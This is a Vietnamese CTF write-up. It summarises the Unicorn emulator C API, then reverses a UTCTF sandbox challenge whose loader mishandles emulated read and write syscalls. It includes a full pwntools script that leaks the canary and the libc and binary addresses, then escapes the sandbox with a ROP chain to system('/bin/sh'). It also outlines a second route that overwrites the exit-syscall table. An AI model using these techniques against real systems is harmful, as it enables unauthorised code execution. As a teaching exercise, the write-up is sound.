# Unicorn Libary in C program
- trong quá trình training thì mình được thử sức với 1 chall có sandbox được viết bằng Unicorn libary
- để làm được bài này đòi hỏi ta phải reverse được file sandbox cũng như hiểu được source, nếu chưa từng tiếp xúc với Unicorn thì điều này sẽ khó khắn và mất nhiều thời gian
- nên mình quyết định sẽ research sơ qua về Unicorn libary trong báo cáo này để hỗ trợ việc giải chall
### note
- dưới đây là những kiến thức mình research và tóm tắt lại nhằm hỗ trợ cho việc chơi PWN nên có thể sẽ không đầy đủ, các bạn có thể research thêm ở ref
# Unicorn Engine
## Overview
- Unicorn là 1 thư viện để mô phỏng CPU ở đa nền tảng và kiến trúc, nói nôm na là nó hỗ trợ mình tạo một máy ảo, cô lập chương trình với system, giúp mình thử nghiệm cũng như debug chương trình mà không ảnh hưởng tới system
- các tính năng nổi bật:
```c
- Multi-architectures: ARM, ARM64 (ARMv8), m68k, MIPS, PowerPC, RISC-V, S390x (SystemZ), SPARC, TriCore & x86 (include x86_64).
- Clean/simple/lightweight/intuitive architecture-neutral API.
- Implemented in pure C language, with bindings for Pharo, Crystal, Clojure, Visual Basic, Perl, Rust, Haskell, Ruby, Python, Java, Go, D, Lua, JavaScript, .NET, Delphi/Pascal & MSVC available.
- Native support for Windows & *nix (with macOS, Linux, Android, *BSD & Solaris confirmed).
- High performance by using Just-In-Time compiler technique.
- Support fine-grained instrumentation at various levels.
Thread-safe by design.
- Distributed under free software license GPLv2.
```
## Some popular functions in Unicorn.h library
- **uc_open** : sử dụng để khởi tạo một đối tượng máy ảo hoặc môi trường ảo hóa
```c
uc_open(uc_arch arch, uc_mode mode, uc_engine **result)
```
- **uc_hook_add** : sử dụng để thêm một hook vào máy ảo hoặc môi trường ảo hóa
```c
uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...)
```
- **uc_mem_map** : cho phép cấp phát và quản lý vùng nhớ trong quá trình emulasi.
```c
uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms)
```
- **uc_emu_start** : khởi động quá trình emulasi hoặc máy ảo đang chạy
```c
uc_emu_start(uc_engine* uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count)
```
- **uc_emu_stop** : dừng quá trình emulasi hoặc máy ảo đang chạy.
```c
uc_emu_stop(uc_engine *uc)
```
- **uc_mem_read** : đọc dữ liệu từ vùng nhớ emulasi.
```c
uc_mem_read(uc_engine *uc, uint64_t address, void *_bytes, size_t size)
```
- **uc_mem_write** : ghi dữ liệu vào vùng nhớ emulasi
```c
uc_mem_write(uc_engine *uc, uint64_t address, void *_bytes, size_t size)
```
- **uc_reg_read** : đọc giá trị của thanh ghi trong quá trình emulasi.
```c
uc_reg_read(uc_engine *uc, int regid, void *value)
```
- **uc_reg_write** : ghi giá trị vào thanh ghi trong quá trình emulasi
```c
uc_reg_write(uc_engine *uc, int regid, void *value)
```
## UC_HOOK list
```c
// All type of hooks for uc_hook_add() API.
typedef enum uc_hook_type {
// Hook all interrupt/syscall events
UC_HOOK_INTR = 1 << 0,
// Hook a particular instruction - only a very small subset of instructions supported here
UC_HOOK_INSN = 1 << 1,
// Hook a range of code
UC_HOOK_CODE = 1 << 2,
// Hook basic blocks
UC_HOOK_BLOCK = 1 << 3,
// Hook for memory read on unmapped memory
UC_HOOK_MEM_READ_UNMAPPED = 1 << 4,
// Hook for invalid memory write events
UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5,
// Hook for invalid memory fetch for execution events
UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6,
// Hook for memory read on read-protected memory
UC_HOOK_MEM_READ_PROT = 1 << 7,
// Hook for memory write on write-protected memory
UC_HOOK_MEM_WRITE_PROT = 1 << 8,
// Hook for memory fetch on non-executable memory
UC_HOOK_MEM_FETCH_PROT = 1 << 9,
// Hook memory read events.
UC_HOOK_MEM_READ = 1 << 10,
// Hook memory write events.
UC_HOOK_MEM_WRITE = 1 << 11,
// Hook memory fetch for execution events
UC_HOOK_MEM_FETCH = 1 << 12,
// Hook memory read events, but only successful access.
// The callback will be triggered after successful read.
UC_HOOK_MEM_READ_AFTER = 1 << 13,
} uc_hook_type;
// Hook type for all events of unmapped memory access
#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED)
// Hook type for all events of illegal protected memory access
#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT)
// Hook type for all events of illegal read memory access
#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED)
// Hook type for all events of illegal write memory access
#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED)
// Hook type for all events of illegal fetch memory access
#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED)
// Hook type for all events of illegal memory access
#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT)
// Hook type for all events of valid memory access
// NOTE: UC_HOOK_MEM_READ is triggered before UC_HOOK_MEM_READ_PROT and UC_HOOK_MEM_READ_UNMAPPED, so
// this hook may technically trigger on some invalid reads.
#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH)
UC_ARCH
// Architecture type
typedef enum uc_arch {
UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2)
UC_ARCH_ARM64, // ARM-64, also called AArch64
UC_ARCH_MIPS, // Mips architecture
UC_ARCH_X86, // X86 architecture (including x86 & x86-64)
UC_ARCH_PPC, // PowerPC architecture (currently unsupported)
UC_ARCH_SPARC, // Sparc architecture
UC_ARCH_M68K, // M68K architecture
UC_ARCH_MAX,
} uc_arch;
```
## uc_x86_reg
```c
//> X86 registers
typedef enum uc_x86_reg {
UC_X86_REG_INVALID = 0,
UC_X86_REG_AH, UC_X86_REG_AL, UC_X86_REG_AX, UC_X86_REG_BH, UC_X86_REG_BL,
UC_X86_REG_BP, UC_X86_REG_BPL, UC_X86_REG_BX, UC_X86_REG_CH, UC_X86_REG_CL,
UC_X86_REG_CS, UC_X86_REG_CX, UC_X86_REG_DH, UC_X86_REG_DI, UC_X86_REG_DIL,
UC_X86_REG_DL, UC_X86_REG_DS, UC_X86_REG_DX, UC_X86_REG_EAX, UC_X86_REG_EBP,
UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDI, UC_X86_REG_EDX, UC_X86_REG_EFLAGS,
UC_X86_REG_EIP, UC_X86_REG_EIZ, UC_X86_REG_ES, UC_X86_REG_ESI, UC_X86_REG_ESP,
UC_X86_REG_FPSW, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_IP, UC_X86_REG_RAX,
UC_X86_REG_RBP, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDI, UC_X86_REG_RDX,
UC_X86_REG_RIP, UC_X86_REG_RIZ, UC_X86_REG_RSI, UC_X86_REG_RSP, UC_X86_REG_SI,
UC_X86_REG_SIL, UC_X86_REG_SP, UC_X86_REG_SPL, UC_X86_REG_SS, UC_X86_REG_CR0,
UC_X86_REG_CR1, UC_X86_REG_CR2, UC_X86_REG_CR3, UC_X86_REG_CR4, UC_X86_REG_CR5,
UC_X86_REG_CR6, UC_X86_REG_CR7, UC_X86_REG_CR8, UC_X86_REG_CR9, UC_X86_REG_CR10,
UC_X86_REG_CR11, UC_X86_REG_CR12, UC_X86_REG_CR13, UC_X86_REG_CR14, UC_X86_REG_CR15,
UC_X86_REG_DR0, UC_X86_REG_DR1, UC_X86_REG_DR2, UC_X86_REG_DR3, UC_X86_REG_DR4,
UC_X86_REG_DR5, UC_X86_REG_DR6, UC_X86_REG_DR7, UC_X86_REG_DR8, UC_X86_REG_DR9,
UC_X86_REG_DR10, UC_X86_REG_DR11, UC_X86_REG_DR12, UC_X86_REG_DR13, UC_X86_REG_DR14,
UC_X86_REG_DR15, UC_X86_REG_FP0, UC_X86_REG_FP1, UC_X86_REG_FP2, UC_X86_REG_FP3,
UC_X86_REG_FP4, UC_X86_REG_FP5, UC_X86_REG_FP6, UC_X86_REG_FP7,
UC_X86_REG_K0, UC_X86_REG_K1, UC_X86_REG_K2, UC_X86_REG_K3, UC_X86_REG_K4,
UC_X86_REG_K5, UC_X86_REG_K6, UC_X86_REG_K7, UC_X86_REG_MM0, UC_X86_REG_MM1,
UC_X86_REG_MM2, UC_X86_REG_MM3, UC_X86_REG_MM4, UC_X86_REG_MM5, UC_X86_REG_MM6,
UC_X86_REG_MM7, UC_X86_REG_R8, UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11,
UC_X86_REG_R12, UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15,
UC_X86_REG_ST0, UC_X86_REG_ST1, UC_X86_REG_ST2, UC_X86_REG_ST3,
UC_X86_REG_ST4, UC_X86_REG_ST5, UC_X86_REG_ST6, UC_X86_REG_ST7,
UC_X86_REG_XMM0, UC_X86_REG_XMM1, UC_X86_REG_XMM2, UC_X86_REG_XMM3, UC_X86_REG_XMM4,
UC_X86_REG_XMM5, UC_X86_REG_XMM6, UC_X86_REG_XMM7, UC_X86_REG_XMM8, UC_X86_REG_XMM9,
UC_X86_REG_XMM10, UC_X86_REG_XMM11, UC_X86_REG_XMM12, UC_X86_REG_XMM13, UC_X86_REG_XMM14,
UC_X86_REG_XMM15, UC_X86_REG_XMM16, UC_X86_REG_XMM17, UC_X86_REG_XMM18, UC_X86_REG_XMM19,
UC_X86_REG_XMM20, UC_X86_REG_XMM21, UC_X86_REG_XMM22, UC_X86_REG_XMM23, UC_X86_REG_XMM24,
UC_X86_REG_XMM25, UC_X86_REG_XMM26, UC_X86_REG_XMM27, UC_X86_REG_XMM28, UC_X86_REG_XMM29,
UC_X86_REG_XMM30, UC_X86_REG_XMM31, UC_X86_REG_YMM0, UC_X86_REG_YMM1, UC_X86_REG_YMM2,
UC_X86_REG_YMM3, UC_X86_REG_YMM4, UC_X86_REG_YMM5, UC_X86_REG_YMM6, UC_X86_REG_YMM7,
UC_X86_REG_YMM8, UC_X86_REG_YMM9, UC_X86_REG_YMM10, UC_X86_REG_YMM11, UC_X86_REG_YMM12,
UC_X86_REG_YMM13, UC_X86_REG_YMM14, UC_X86_REG_YMM15, UC_X86_REG_YMM16, UC_X86_REG_YMM17,
UC_X86_REG_YMM18, UC_X86_REG_YMM19, UC_X86_REG_YMM20, UC_X86_REG_YMM21, UC_X86_REG_YMM22,
UC_X86_REG_YMM23, UC_X86_REG_YMM24, UC_X86_REG_YMM25, UC_X86_REG_YMM26, UC_X86_REG_YMM27,
UC_X86_REG_YMM28, UC_X86_REG_YMM29, UC_X86_REG_YMM30, UC_X86_REG_YMM31, UC_X86_REG_ZMM0,
UC_X86_REG_ZMM1, UC_X86_REG_ZMM2, UC_X86_REG_ZMM3, UC_X86_REG_ZMM4, UC_X86_REG_ZMM5,
UC_X86_REG_ZMM6, UC_X86_REG_ZMM7, UC_X86_REG_ZMM8, UC_X86_REG_ZMM9, UC_X86_REG_ZMM10,
UC_X86_REG_ZMM11, UC_X86_REG_ZMM12, UC_X86_REG_ZMM13, UC_X86_REG_ZMM14, UC_X86_REG_ZMM15,
UC_X86_REG_ZMM16, UC_X86_REG_ZMM17, UC_X86_REG_ZMM18, UC_X86_REG_ZMM19, UC_X86_REG_ZMM20,
UC_X86_REG_ZMM21, UC_X86_REG_ZMM22, UC_X86_REG_ZMM23, UC_X86_REG_ZMM24, UC_X86_REG_ZMM25,
UC_X86_REG_ZMM26, UC_X86_REG_ZMM27, UC_X86_REG_ZMM28, UC_X86_REG_ZMM29, UC_X86_REG_ZMM30,
UC_X86_REG_ZMM31, UC_X86_REG_R8B, UC_X86_REG_R9B, UC_X86_REG_R10B, UC_X86_REG_R11B,
UC_X86_REG_R12B, UC_X86_REG_R13B, UC_X86_REG_R14B, UC_X86_REG_R15B, UC_X86_REG_R8D,
UC_X86_REG_R9D, UC_X86_REG_R10D, UC_X86_REG_R11D, UC_X86_REG_R12D, UC_X86_REG_R13D,
UC_X86_REG_R14D, UC_X86_REG_R15D, UC_X86_REG_R8W, UC_X86_REG_R9W, UC_X86_REG_R10W,
UC_X86_REG_R11W, UC_X86_REG_R12W, UC_X86_REG_R13W, UC_X86_REG_R14W, UC_X86_REG_R15W,
UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR, UC_X86_REG_TR, UC_X86_REG_FPCW,
UC_X86_REG_FPTAG,
UC_X86_REG_MSR, // Model-Specific Register
UC_X86_REG_ENDING // <-- mark the end of the list of registers
} uc_x86_reg;
```
## Example
https://www.unicorn-engine.org/docs/tutorial.html
## Reference
- https://www.unicorn-engine.org/
- https://github.com/unicorn-engine/unicorn/tree/dev/samples
- https://hackmd.io/@K-atc/rJTUtGwuW?type=view
# Sandbox Chall
- chall cho 1 file binary (hello) và 1 file sandbox (loader)
## Hello
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
char v8[256]; // [rsp+10h] [rbp-100h] BYREF
puts("Welcome to the UTCTF secure sandbox environment. Please enter your name: ", argv, envp);
gets(v8);
printf((unsigned int)"hello, %s\n", (unsigned int)v8, v3, v4, v5, v6, (char)argv);
return 0;
}
```
- đơn giản là BOF
## Loader
- main
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
size_t v4; // rax
size_t v5; // rax
_QWORD *v6; // rax
int i; // [rsp+1Ch] [rbp-E4h]
unsigned int v9; // [rsp+20h] [rbp-E0h]
__int64 v10; // [rsp+28h] [rbp-D8h] BYREF
__int64 v11; // [rsp+30h] [rbp-D0h] BYREF
__int64 v12; // [rsp+38h] [rbp-C8h] BYREF
char v13; // [rsp+40h] [rbp-C0h] BYREF
__int64 v14; // [rsp+48h] [rbp-B8h] BYREF
const char *v15; // [rsp+50h] [rbp-B0h]
unsigned __int64 v16; // [rsp+58h] [rbp-A8h]
char v17[32]; // [rsp+60h] [rbp-A0h] BYREF
char v18[48]; // [rsp+80h] [rbp-80h] BYREF
char v19[56]; // [rsp+B0h] [rbp-50h] BYREF
unsigned __int64 v20; // [rsp+E8h] [rbp-18h]
v20 = __readfsqword(0x28u);
if ( argc <= 1 )
usage((char **)argv);
v15 = argv[1];
std::map<std::string,section>::map(v18, argv, envp);
std::map<int,segment>::map(v19);
v9 = parse_elf(v15, &v10, (__int64)v18, (__int64)v19);
if ( v9 )
{
if ( v9 == 1 )
perror("file not exists.");
if ( v9 == 2 )
fwrite("this is not elf.", 1uLL, 0x10uLL, stdout);
}
if ( (unsigned int)uc_open(4LL, 8LL, &v11) )
{
printf("Failed on uc_open() with error returned: %u\n", v9);
v3 = -1;
}
else
{
loader(v15, v11, &v10, v19, v18);
v12 = 8387584LL;
uc_reg_write(v11, 44LL, &v12);
v16 = argc - 1;
std::vector<unsigned long>::vector(v17);
if ( argc > 2 )
{
v4 = strlen(argv[2]);
v14 = push_argv(v11, argv[2], v4);
std::vector<unsigned long>::push_back(v17, &v14);
}
v5 = strlen(argv[1]);
v14 = push_argv(v11, argv[1], v5);
std::vector<unsigned long>::push_back(v17, &v14);
if ( v16 == 1 )
push_stack(v11, 0LL);
for ( i = 0; v16 > i; ++i )
{
v6 = (_QWORD *)std::vector<unsigned long>::operator[](v17, i);
push_stack(v11, *v6);
}
push_stack(v11, v16);
uc_reg_read(v11, 44LL, &v12);
uc_reg_write(v11, 36LL, &v12);
uc_hook_add(v11, (unsigned int)&v13, 48, (unsigned int)hook_mem_invalid, 0, 1, 0LL);
uc_hook_add(v11, (unsigned int)&v14, 2, (unsigned int)hook_syscall, 0, 1, 0LL);
uc_emu_start(v11, v10, -1LL, 0LL, 0LL);
uc_close(v11);
v3 = 0;
std::vector<unsigned long>::~vector(v17);
}
std::map<int,segment>::~map(v19);
std::map<std::string,section>::~map(v18);
return v3;
}
```
- hàm main đơn giản là setup máy ảo, có 2 hàm **uc_hook_add** để set hook trả về cho **UC_HOOK_INSN** (2) là hook_syscall, **UC_HOOK_MEM_READ_INVALID** (48) là hook_mem_invalid
```c
__int64 __fastcall hook_mem_invalid(__int64 a1, int a2, __int64 a3, unsigned int a4, __int64 a5)
{
if ( a2 == 19 )
{
printf(">>> Missing memory is being READ at 0x%lx, data size = %u, data value = 0x%lx\n", a3, a4, a5);
return 1LL;
}
else if ( a2 == 20 )
{
printf(">>> Missing memory is being WRITE at 0x%lx, data size = %u, data value = 0x%lx\n", a3, a4, a5);
return 1LL;
}
else
{
return 0LL;
}
}
```
- kiểm tra **hook_nem_invalid** thì ko thấy BUG gì hết, ta qua xem thằng **hook_syscall**
- theo như mình tìm hiểu thì chương trình có có thể tương tác với sandbox thông qua syscall, nên chắc chắn BUG phải nằm trong các syscall của sandbox
- type **UC_HOOK_INSN** (2) để theo dõi và xử lý các thao tác liên quan đến một lệnh (instruction) cụ thể trong quá trình thực thi. Nó sẽ tương tác trực tiếp với syscall, vì vậy khi 1 syscall được thực thi hàm **hook_syscall** sẽ được gọi
```c
unsigned __int64 __fastcall hook_syscall(__int64 a1, __int64 a2)
{
size_t v2; // rax
void *v3; // rsp
size_t v4; // rax
void *v5; // rsp
__int64 v7[5]; // [rsp+8h] [rbp-170h] BYREF
__int64 v8; // [rsp+30h] [rbp-148h]
char v9; // [rsp+3Fh] [rbp-139h]
int j; // [rsp+40h] [rbp-138h]
int i; // [rsp+44h] [rbp-134h]
__int64 sysno; // [rsp+48h] [rbp-130h] BYREF
int fd[2]; // [rsp+50h] [rbp-128h] BYREF
__int64 v14; // [rsp+58h] [rbp-120h] BYREF
size_t nbytes; // [rsp+60h] [rbp-118h] BYREF
ssize_t v16; // [rsp+68h] [rbp-110h] BYREF
int v17[2]; // [rsp+70h] [rbp-108h]
int count[2]; // [rsp+78h] [rbp-100h]
size_t v19; // [rsp+80h] [rbp-F8h]
struct iovec *iovec; // [rsp+88h] [rbp-F0h]
unsigned __int64 iov_len; // [rsp+90h] [rbp-E8h]
void *v22; // [rsp+98h] [rbp-E0h]
size_t v23; // [rsp+A0h] [rbp-D8h]
void *buf; // [rsp+A8h] [rbp-D0h]
__int64 v25; // [rsp+B0h] [rbp-C8h]
char s[136]; // [rsp+B8h] [rbp-C0h] BYREF
unsigned __int64 v27; // [rsp+140h] [rbp-38h]
v8 = a1;
v7[4] = a2;
v27 = __readfsqword(0x28u);
++syscall_cnt;
memset(s, 0, 0x80uLL);
uc_reg_read(a1, 35LL, &sysno); // rax
uc_reg_read(a1, 39LL, fd); // rdi
uc_reg_read(a1, 43LL, &v14); // rsi
uc_reg_read(a1, 40LL, &nbytes); // rdx
if ( sysno == 0x400 )
{
v25 = *(_QWORD *)fd - 0x7F0000LL;
*(_DWORD *)((char *)&stack + *(_QWORD *)fd - 0x7F0000) = syscall_cnt;
}
else if ( sysno )
{
switch ( sysno )
{
case 1LL:
uc_mem_read(v8, v14, s, nbytes);
printf("\x1B[33m>>> syscall write\x1B[0m(fd=%d, *buf='%s', count=%d)\n", *(_QWORD *)fd, s, nbytes);
uc_reg_write(v8, 35, (__int64)&nbytes); // rax
break;
case 20LL:
*(_QWORD *)v17 = *(_QWORD *)fd;
*(_QWORD *)count = nbytes;
v19 = nbytes - 1;
v4 = 16 * ((16 * nbytes + 15) / 0x10);
while ( v7 != (__int64 *)((char *)v7 - (v4 & 0xFFFFFFFFFFFFF000LL)) )
;
v5 = alloca(v4 & 0xFFF);
if ( (v4 & 0xFFF) != 0 )
*(__int64 *)((char *)&v7[-1] + (v4 & 0xFFF)) = *(__int64 *)((char *)&v7[-1] + (v4 & 0xFFF));
iovec = (struct iovec *)v7;
uc_mem_read(v8, v14, v7, 16LL * *(_QWORD *)count);
for ( i = 0; *(_QWORD *)count > (unsigned __int64)i; ++i )
{
iov_len = iovec[i].iov_len;
v22 = (void *)operator new[](iov_len);
uc_mem_read(v8, iovec[i].iov_base, v22, iov_len);
iovec[i].iov_base = v22;
}
v16 = writev(v17[0], iovec, count[0]);
uc_reg_write(v8, 35, (__int64)&v16);
break;
case 158LL:
case 218LL:
case 16LL:
v16 = 0LL;
uc_reg_write(v8, 35, (__int64)&v16);
break;
default:
v9 = 0;
for ( j = 0; (unsigned __int64)j <= 1; ++j )
{
if ( exit_syscalls[j] == sysno )
syscall(sysno, *(_QWORD *)fd, v14, nbytes);
}
printf(">>> enumation stoped because of invalid syscall %d\n", sysno);
uc_emu_stop(v8);
break;
}
}
else
{
v23 = nbytes - 1;
v7[2] = nbytes;
v7[3] = 0LL;
v7[0] = nbytes;
v7[1] = 0LL;
v2 = 16 * ((nbytes + 15) / 0x10);
while ( v7 != (__int64 *)((char *)v7 - (v2 & 0xFFFFFFFFFFFFF000LL)) )
;
v3 = alloca(v2 & 0xFFF);
if ( (v2 & 0xFFF) != 0 )
*(__int64 *)((char *)&v7[-1] + (v2 & 0xFFF)) = *(__int64 *)((char *)&v7[-1] + (v2 & 0xFFF));
buf = v7;
v16 = read(fd[0], v7, nbytes);
uc_reg_write(v8, 35, (__int64)&v16); // rax
uc_mem_write(v8, v14, buf, nbytes);
}
return __readfsqword(0x28u) ^ v27;
}
```
- **hook_syscall** cho phép ta dùng 4 syscall, trong đó có 2 syscall quan trọng là read và write nên ta sẽ focus vào nó
- có 1 bug mình tìm được trong syscall read
```c
v16 = read(fd[0], v7, nbytes);
uc_reg_write(v8, 35, (__int64)&v16); // rax
uc_mem_write(v8, v14, buf, nbytes);
```
- ở syscall read , cho phép ta nhập vào nbytes (rdx), sau đó cho rax = số byte đã nhập, nhưng BUG nhằm ở hàm **uc_mem_write**, khi ghi nbytes từ buf vào v14(rsi), mà buf nằm trong stack nên điều này vô tình lấy luôn các addr quan trọng như libc , stack ,exe, canary... vào v14
- ở syscall write cho ta in ra data của v14 với nbyte(rdx) tùy ý , lợi dụng điều này ta dễ dàng leak addr
```c
case 1LL:
uc_mem_read(v8, v14, s, nbytes);
printf("\x1B[33m>>> syscall write\x1B[0m(fd=%d, *buf='%s', count=%d)\n", *(_QWORD *)fd, s, nbytes);
uc_reg_write(v8, 35, (__int64)&nbytes); // rax
```
- nhưng nếu tinh mắt thì ta để ý ở syscall write sẽ còn có thêm 1 bug nữa ở hàm **uc_mem_read**, khi ghi data từ v14 (rsi) vào s (stack) với nbytes (rdx), mà rdx thì ta có thể control được nên ở đây có BUG là Buffer Overflow
- tận dụng BOF ta có thể get_shell bằng system('/bin/sh\0')

## script
```python
#!/usr/bin/env python3
from pwn import *
import psutil
exe = ELF("./loader")
context.binary = exe
p = process(['./loader', './hello'])
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
def pidof(name):
pid = 0
for proc in psutil.process_iter():
if name == proc.name():
pid = proc.pid
break
return pid
def GDB():
gdb.attach(p, gdbscript='''
b*hook_syscall+683
b*hook_syscall+642
b*hook_syscall+515
c''')
input()
# GDB()
pop_rax = 0x0000000000401001
pop_rdi = 0x00000000040013af
pop_rsi_r15 = 0x00000000040013ad
pop_rdx = 0x00000000040023b3
rw_section = 0x4004000
syscall = 0x00000000040024ab
payload = b'a' * 0x108
payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(rw_section) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall)
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x79) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall)
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x88) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall)
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x2f8) + p64(0) + p64(pop_rdx) + p64(0x8) + p64(syscall)
payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(rw_section + 0x1000) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall)
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(rw_section + 0x1000) + p64(0) + p64(pop_rdx) + p64(0x600) + p64(syscall)
p.sendline(payload)
p.send(b'gookoo')
p.recvuntil(b"buf='")
canary = u64(b'\0' + p.recv(7))
print(hex(canary))
p.recvuntil(b"buf='")
exe.address = u64(p.recv(6) + b'\0\0') - 0xa57504
print(hex(exe.address))
p.recvuntil(b"buf='")
libc.address = u64(p.recv(6) + b'\0\0') - 0xa5262
print(hex(libc.address))
payload = b'a' * 0x88
payload += p64(canary)
payload = payload.ljust(0xc8, b'a')
pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0]
rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system]
rop = b"".join([p64(i) for i in rop])
payload += rop
p.send(payload)
p.interactive()
```
## another solution
- còn có thêm 2 BUG khác khá hay ho mà anh Chino Kafuu tìm được đó là ở exit_syscalls và khi rax = 0x400
```c
default:
v9 = 0;
for ( j = 0; (unsigned __int64)j <= 1; ++j )
{
if ( exit_syscalls[j] == sysno )
syscall(sysno, *(_QWORD *)fd, v14, nbytes);
}
printf(">>> enumation stoped because of invalid syscall %d\n", sysno);
uc_emu_stop(v8);
break;
```
- khi thực thi các syscall khác ngoài 4 syscall cho phép, nó sẽ thực thi syscall exit với rax là 0x3c và 0xe7

- fd(rdi), v14(rsi), nbytes(rdx) thì ta có thể control, nhưng sysno(rax) sẽ bị check bởi if()
- nếu ta muốn thực thi syscall execve thì bắt buộc phải overwrite thằng exit_syscall = 0x3b
```c
if ( sysno == 0x400 )
{
v25 = *(_QWORD *)fd - 8323072LL;
*(_DWORD *)((char *)&stack + *(_QWORD *)fd - 8323072) = syscall_cnt;
}
```
- khi rax = 0x400, nó sẽ cập nhật thằng *(_DWORD *)((char *)&stack + *(_QWORD *)fd - 8323072) = syscall_cnt, syscall_cnt là số syscall mình đã thực thi
- thằng *(_DWORD *)((char *)&stack - 8323072) như mình debug thì nó là địa chỉ binary, fd thì mình có thể control được do nó là rdi, vậy nếu fd = offset đến exit_syscal thì exit_syscall = syscall_cnt, lúc này ta có thể cho exit_syscall = 0x3b và get_shell
- 1 cách solution hay nhưng để tìm dc bug này hơi khoai :))